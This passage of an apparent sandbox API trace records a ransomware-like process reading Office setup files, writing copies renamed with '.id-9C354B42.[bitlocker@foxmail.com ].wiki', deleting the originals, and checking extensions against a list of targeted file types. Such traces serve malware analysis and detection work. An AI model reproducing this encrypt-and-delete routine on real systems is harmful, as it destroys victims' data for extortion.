nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.069] SetEndOfFile (hFile=0x1fc) returned 1 [0048.069] CloseHandle (hObject=0x1fc) returned 1 [0048.070] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.070] SetEndOfFile (hFile=0x1f4) returned 1 [0048.071] CloseHandle (hObject=0x1f4) returned 1 [0048.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0048.072] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0048.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.072] lstrlenW (lpString=".doc") returned 4 [0048.072] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.072] lstrlenW (lpString=".docx") returned 5 [0048.072] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0048.072] lstrlenW (lpString=".pdf") returned 4 [0048.072] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.072] lstrlenW (lpString=".xls") returned 4 [0048.072] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.072] lstrlenW (lpString=".xlsx") returned 5 [0048.072] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0048.072] lstrlenW (lpString=".ppt") returned 4 [0048.072] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.072] lstrlenW (lpString=".zip") returned 4 [0048.072] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.072] lstrlenW (lpString=".rar") returned 4 [0048.072] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.072] lstrlenW (lpString=".bz2") returned 4 [0048.072] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.072] lstrlenW (lpString=".7z") returned 3 [0048.072] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.073] lstrlenW (lpString=".dbf") returned 4 [0048.073] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.073] lstrlenW (lpString=".1cd") returned 4 [0048.073] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.073] lstrlenW (lpString=".jpg") returned 4 [0048.073] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.073] lstrlenW (lpString=".doc") returned 4 [0048.073] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.073] lstrlenW (lpString=".docx") returned 5 [0048.073] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0048.073] lstrlenW (lpString=".pdf") returned 4 [0048.073] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.073] lstrlenW (lpString=".xls") returned 4 [0048.073] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.073] lstrlenW (lpString=".xlsx") returned 5 [0048.073] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0048.073] lstrlenW (lpString=".ppt") returned 4 [0048.073] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.073] lstrlenW (lpString=".zip") returned 4 [0048.073] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.073] lstrlenW (lpString=".rar") returned 4 [0048.073] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.073] lstrlenW (lpString=".bz2") returned 4 [0048.073] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.073] lstrlenW (lpString=".7z") returned 3 [0048.073] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.073] lstrlenW (lpString=".dbf") returned 4 [0048.073] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.074] lstrlenW (lpString=".1cd") returned 4 [0048.074] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0048.074] lstrlenW (lpString=".jpg") returned 4 [0048.074] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.074] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.074] lstrlenW (lpString="Office32WW.XML") returned 14 [0048.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.074] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4274) returned 1 [0048.074] CloseHandle (hObject=0x1f4) returned 1 [0048.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0048.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.074] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.075] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0048.075] GetLastError () returned 0x0 [0048.075] ReadFile (in: hFile=0x1f4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0048.076] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0048.077] ReadFile (in: hFile=0x1f4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.077] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0048.078] SetEndOfFile (hFile=0x1fc) returned 1 [0048.078] CloseHandle (hObject=0x1fc) returned 1 [0048.078] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.078] SetEndOfFile (hFile=0x1f4) returned 1 [0048.079] CloseHandle (hObject=0x1f4) returned 1 [0048.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0048.079] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0048.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.080] lstrlenW (lpString=".doc") returned 4 [0048.080] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.080] lstrlenW (lpString=".docx") returned 5 [0048.080] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0048.080] lstrlenW (lpString=".pdf") returned 4 [0048.080] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.080] lstrlenW (lpString=".xls") returned 4 [0048.080] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.080] lstrlenW (lpString=".xlsx") returned 5 [0048.080] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0048.080] lstrlenW (lpString=".ppt") returned 4 [0048.080] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.080] lstrlenW (lpString=".zip") returned 4 [0048.080] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.080] lstrlenW (lpString=".rar") returned 4 [0048.080] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.080] lstrlenW (lpString=".bz2") returned 4 [0048.080] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.080] lstrlenW (lpString=".7z") returned 3 [0048.080] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.080] lstrlenW (lpString=".dbf") returned 4 [0048.080] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.080] lstrlenW (lpString=".1cd") returned 4 [0048.081] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.081] lstrlenW (lpString=".jpg") returned 4 [0048.081] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.081] lstrlenW (lpString=".doc") returned 4 [0048.081] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString=".docx") returned 5 [0048.081] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0048.081] lstrlenW (lpString=".pdf") returned 4 [0048.081] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString=".xls") returned 4 [0048.081] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString=".xlsx") returned 5 [0048.081] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0048.081] lstrlenW (lpString=".ppt") returned 4 [0048.081] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.081] lstrlenW (lpString=".zip") returned 4 [0048.081] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.081] lstrlenW (lpString=".rar") returned 4 [0048.081] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString=".bz2") returned 4 [0048.081] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString=".7z") returned 3 [0048.081] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.081] lstrlenW (lpString=".dbf") returned 4 [0048.081] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.081] lstrlenW (lpString=".1cd") returned 4 [0048.081] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0048.082] lstrlenW (lpString=".jpg") returned 4 [0048.082] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.082] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.082] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0048.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.082] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1606) returned 1 [0048.082] CloseHandle (hObject=0x1f4) returned 1 [0048.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0048.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.082] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.082] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0048.084] GetLastError () returned 0x0 [0048.084] ReadFile (in: hFile=0x1f4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x646, lpOverlapped=0x0) returned 1 [0048.086] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x650, lpOverlapped=0x0) returned 1 [0048.086] ReadFile (in: hFile=0x1f4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.086] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0048.087] SetEndOfFile (hFile=0x1fc) returned 1 [0048.087] CloseHandle (hObject=0x1fc) returned 1 [0048.087] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.087] SetEndOfFile (hFile=0x1f4) returned 1 [0048.088] CloseHandle (hObject=0x1f4) returned 1 [0048.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0048.088] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0048.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.088] lstrlenW (lpString=".doc") returned 4 [0048.089] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.089] lstrlenW (lpString=".docx") returned 5 [0048.089] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.089] lstrlenW (lpString=".pdf") returned 4 [0048.089] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.089] lstrlenW (lpString=".xls") returned 4 [0048.089] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.089] lstrlenW (lpString=".xlsx") returned 5 [0048.089] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.089] lstrlenW (lpString=".ppt") returned 4 [0048.089] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.089] lstrlenW (lpString=".zip") returned 4 [0048.089] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.089] lstrlenW (lpString=".rar") returned 4 [0048.089] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.089] lstrlenW (lpString=".bz2") returned 4 [0048.089] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.089] lstrlenW (lpString=".7z") returned 3 [0048.089] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.089] lstrlenW (lpString=".dbf") returned 4 [0048.089] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.089] lstrlenW (lpString=".1cd") returned 4 [0048.089] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.089] lstrlenW (lpString=".jpg") returned 4 [0048.089] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.089] lstrlenW (lpString=".doc") returned 4 [0048.089] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.090] lstrlenW (lpString=".docx") returned 5 [0048.090] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.090] lstrlenW (lpString=".pdf") returned 4 [0048.090] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.090] lstrlenW (lpString=".xls") returned 4 [0048.090] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.090] lstrlenW (lpString=".xlsx") returned 5 [0048.090] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.090] lstrlenW (lpString=".ppt") returned 4 [0048.090] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.090] lstrlenW (lpString=".zip") returned 4 [0048.090] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.090] lstrlenW (lpString=".rar") returned 4 [0048.090] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.090] lstrlenW (lpString=".bz2") returned 4 [0048.090] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.090] lstrlenW (lpString=".7z") returned 3 [0048.090] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.090] lstrlenW (lpString=".dbf") returned 4 [0048.090] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.090] lstrlenW (lpString=".1cd") returned 4 [0048.090] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0048.090] lstrlenW (lpString=".jpg") returned 4 [0048.090] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.090] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.090] lstrlenW (lpString="SETUP.XML") returned 9 [0048.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.454] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1988) returned 1 [0048.454] CloseHandle (hObject=0x1f8) returned 1 [0048.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0048.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.454] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.454] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 